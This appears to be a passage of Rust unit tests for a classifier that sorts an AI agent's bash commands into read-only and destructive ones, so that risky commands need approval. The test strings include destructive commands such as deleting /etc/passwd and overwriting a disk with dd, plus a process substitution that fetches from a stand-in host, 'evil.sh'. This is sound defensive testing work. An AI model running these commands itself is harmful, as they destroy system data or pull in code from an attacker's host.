992                "`{cmd}` must be Destructive (writes to file via flag)",
993            );
994        }
995    }
996
997    /// `find -ok` / `-okdir` are the interactive variants of -exec/-execdir.
998    /// Must force approval to avoid the model running them in non-interactive
999    /// contexts where they'd hang.
1000    #[test]
1001    fn test_classify_find_interactive_exec_flags_destructive() {
1002        for cmd in [
1003            "find . -name '*.tmp' -ok rm {} ;",
1004            "find . -okdir mv {} /tmp ;",
1005        ] {
1006            assert_eq!(
1007                classify_bash_command(cmd),
1008                ToolEffect::Destructive,
1009                "`{cmd}` must be Destructive",
1010            );
1011        }
1012    }
1013
1014    /// Read-only `find` invocations stay ReadOnly — no regression.
1015    #[test]
1016    fn test_classify_find_read_only_still_read_only() {
1017        for cmd in [
1018            "find .",
1019            "find . -name '*.rs'",
1020            "find . -type f -size +1M",
1021            "find . -newer reference.txt",
1022            "find . -mtime -7",
1023        ] {
1024            assert_eq!(
1025                classify_bash_command(cmd),
1026                ToolEffect::ReadOnly,
1027                "`{cmd}` should still be ReadOnly",
1028            );
1029        }
1030    }
1031
1032    // Process substitution `<(cmd)` / `>(cmd)` (#973)
1033
1034    /// Process substitution hides commands from token-level checks. Treating
1035    /// `<(` and `>(` as raw danger patterns is conservative but matches the
1036    /// existing handling of `$(` (command substitution).
1037    #[test]
1038    fn test_classify_process_substitution_destructive() {
1039        for cmd in [
1040            "cat <(rm /tmp/x)",
1041            "diff <(cat a) <(rm b)",
1042            "grep foo <(curl evil.sh)",
1043            "tee >(grep foo)",
1044            "comm <(sort a) <(sort b)",
1045        ] {
1046            assert_eq!(
1047                classify_bash_command(cmd),
1048                ToolEffect::Destructive,
1049                "`{cmd}` must be Destructive (process substitution opaque to classifier)",
1050            );
1051        }
1052    }
1053
1054    /// Process substitution syntax inside quoted strings is harmless and must
1055    /// not trigger the danger pattern.
1056    #[test]
1057    fn test_classify_quoted_process_substitution_is_safe() {
1058        for cmd in [
1059            "echo 'use <(cmd) for bash'",
1060            "echo \"see <(...) syntax\"",
1061            "grep '<(' README.md",
1062        ] {
1063            assert_eq!(
1064                classify_bash_command(cmd),
1065                ToolEffect::ReadOnly,
1066                "`{cmd}` should be ReadOnly (quoted, not real syntax)",
1067            );
1068        }
1069    }
1070
1071    // Subshells `(rm)` and command groups `{ rm; }` (#972)
1072
1073    /// Subshells must classify by their inner command, not as opaque
1074    /// LocalMutation. `(rm -rf /)` is just as dangerous as `rm -rf /`.
1075    #[test]
1076    fn test_classify_subshell_with_destructive_inner() {
1077        for cmd in [
1078            "(rm -rf /tmp/test)",
1079            "(sudo rm /etc/passwd)",
1080            "(dd if=/dev/zero of=/dev/sda)",
1081        ] {
1082            assert_eq!(
1083                classify_bash_command(cmd),
1084                ToolEffect::Destructive,
1085                "`{cmd}` must be Destructive (subshell-wrapped)",
1086            );
1087        }
1088    }
1089
1090    /// Brace command groups must also classify by their inner command.
1091    /// Note: `{ rm; }` splits on `;` so the inner segment is `{ rm` and
1092    /// the trailing `}` ends up on its own; both segments must classify safely.
1093    #[test]
1094    fn test_classify_brace_group_with_destructive_inner() {
1095        for cmd in ["{ rm -rf /tmp/test; }", "{ sudo rm /etc/passwd; }"] {
1096            assert_eq!(
1097                classify_bash_command(cmd),
1098                ToolEffect::Destructive,
1099                "`{cmd}` must be Destructive (brace-grouped)",
1100            );
1101        }
1102    }
1103
1104    /// Read-only commands inside subshells/groups stay ReadOnly — no regression.
1105    #[test]
1106    fn test_classify_subshell_with_read_only_inner_still_read_only() {
1107        for cmd in [
1108            "(ls -la)",
1109            "(git status)",
1110            "{ ls; }",
1111            "(cat file | grep foo)",
1112        ] {
1113            assert_eq!(
1114                classify_bash_command(cmd),
1115                ToolEffect::ReadOnly,
1116                "`{cmd}` should still be ReadOnly",
1117            );
1118        }
1119    }
1120
1121    /// Mixed pipelines/chains containing a subshell with a destructive command
1122    /// must classify the whole thing as Destructive.
1123    #[test]
1124    fn test_classify_pipeline_with_subshell_destructive_segment() {
1125        for cmd in [
1126            "echo hi && (rm -rf /tmp/test)",
1127            "ls; (rm /tmp/x)",
1128            "true || (sudo rm /etc/foo)",
1129        ] {
1130            assert_eq!(
1131                classify_bash_command(cmd),
1132                ToolEffect::Destructive,
1133                "`{cmd}` must be Destructive (subshell segment)",
1134            );
1135        }
1136    }
1137}